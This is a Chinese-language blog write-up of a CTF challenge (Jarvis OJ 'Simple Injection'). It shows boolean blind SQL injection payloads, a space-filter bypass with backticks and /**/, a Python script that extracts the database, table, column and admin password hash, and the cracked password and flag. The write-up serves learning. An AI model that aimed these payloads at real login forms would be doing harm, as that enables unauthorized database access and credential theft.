记录一道把我整的要死要活的 SQL 布尔盲注题

记录一道把我整的要死要活的 SQL 布尔盲注题

技术 1575 字 / 3 分钟

Jarvis OJ 启动!!

五一假期已经只剩一天了啊。真的快。 今天下午写 Go 时,室友在做南邮 CTF 上的 SQL 注入。那上面的两道 SQL 注入倒是挺基础的。但突然激起了我的兴趣 —— 想做做 SQL 注入了。 到 Jarvis OJ 上翻了下,还真有一道 ISCC 2016 年的 SQL 注入。原以为 ISCC 的难度都不大的,结果最后居然做了一个多小时……还是太菜了。 因此想写点东西记录总结一下~

开始吧~

题目地址:

Simple Injection http://web.jarvisoj.com:32787/

首先一上来是一个套 Bootstrap 写的登录的页面,尝试弱口令admin admin,发现回显报错密码错误。接着随便输入一个用户名后,报错用户名错误;那这八成就是布尔盲注了。 我 SQL 这一块其实会得不多,到现在连个视图都不会写。大概上网了解了下布尔盲注后,便开始做题。 这道题我们可以在用户名那里下手,我们已经知道了用户名为admin,因此可以在查询语句后再拼接我们自己的条件语句,并通过用户名错误密码错误的回显来得知我们的假设条件是否正确。

爆当前数据库名

直接可以用database()来获取到数据库名。 因此只要构造,这样的 payload:

admin' AND ((ascii(substr(database(), 1, 1))) > 100) AND '1

就可以通过二分法逐位爆破数据库名。即截取数据库名的第一位,再转换成 ASCII 码,并与一个数字比较。**你会发现我这里有很多不必要的括号,刚开始我还没意识到这一点的原因,到后面一直跑不出来时才发现。**这就是这道题最坑的地方,我在后面会讲我是怎样发现的。 爆数据库名这里我们可以用 Python 写一个简单的脚本跑一下,偷偷懒:

import requests

ascii = []

for i in range(1, 10):
    for j in range(1, 128):

        payload = "admin' AND ((ascii(substr(database(), " + str(i) + ", 1))) > " + str(j) + ") AND '1"

        r = requests.post('http://web.jarvisoj.com:32787/login.php', {
                "username": payload,
                "password": "1234"
            })

        if "用户名" in r.text:
            ascii.append(chr(j))

            result = ""
            for item in ascii:
                result += item

            print(result)
            break

最后跑出来数据库名为injection

巨大的天坑

获取数据库名后,就可以开始爆表名了。 然而,我改了无数次 payload,最后出来的都是用户名错误,即条件不成立。当时真的是想不通,到最后,我开始不断缩减 payload。一直缩减到只有一个length()。最后,我发现——**这题居然是给我过滤了空格!!**过滤了空格后,我的 SQL 语句就无法执行了,但是回显还是用户名错误;导致完全无法分辨是 SQL 语句错误,还是条件不成立。 我发现过滤了空格的 payload 是这样的:

admin' AND (length('a ') = 2) AND '1"

结果返回的是用户名错误,而改成length('a ') = 1后则返回密码错误,这就说明后端查询之前过滤了空格。真的是坑死我了。

爆表名

知道了以上这个坑后,注意一下使用反引号或'来分割一下即可。 如果实在遇到需要空格的地方,使用/**/代替即可。

爆表名就需要用到information_schema这个库啦~

select `table_name` from `information_schema`.`tables` where `table_schema`='injection' LIMIT 1

同样,直接写脚本吧~

payload = "admin'AND(ascii(substr((select `table_name` from `information_schema`.`tables` where `table_schema`='injection'LIMIT/**/1)," + str(i) + ",1)) > " + str(j) + ")AND'1"

这里的LIMIT那里就用了/**/来替换空格,最后跑出来数据表名为admin

爆字段名

同样还是使用information_schema这个库。

select `column_name` from `information_schema`.`columns` where `table_schema`='injection' and `table_name`='admin' limit 1,1
select `column_name` from `information_schema`.`columns` where `table_schema`='injection' and `table_name`='admin' limit 2,1

跟上面的脚本差不多,我这里是逐个字段逐个字段的进行爆破的,只需要更改LIMIT那里即可。这里以爆破第一个字段为例。

payload = "admin'AND ((ascii(substr((select `column_name` from `information_schema`.`columns` where `table_schema`='injection' and `table_name`='admin'limit/**/1,1)," + str(i) + ",1))) >" + str(j) + ")AND'1"

爆出来表中存在两个字段:usernamepassword

爆出管理员的密码

知道了这些后,我们就可以爆出管理员的密码咯~

select `password` from `admin` where `username`='admin'

和上面的思路是相同的。这边注意把变量irange调大一些,因为也不知道密码有多长

payload = "admin'AND ((ascii(substr((select `password` from `admin` where `username`='admin')," + str(i) + ",1))) >" + str(j) + ")AND'1"

最后爆出来是 md5 加密后的管理员密码:334cfb59c9d74849801d5acdcfdaadc3。 后面这里其实也挺坑的,cmd5 解密还要钱,找了一下找到个站可以不登录解密:http://tw.freemd5.com 解密出来为eTAloCrEP,用这个密码登录管理员账号,拿到flag:

CTF{s1mpl3_1nJ3ction_very_easy!!}

呼~ 总算做出来了呢! 虽然那个对空格的过滤把我整的要死要活的,但是拿到 flag 的那一瞬间,感觉之前的一切努力都是值得的呀!开心!!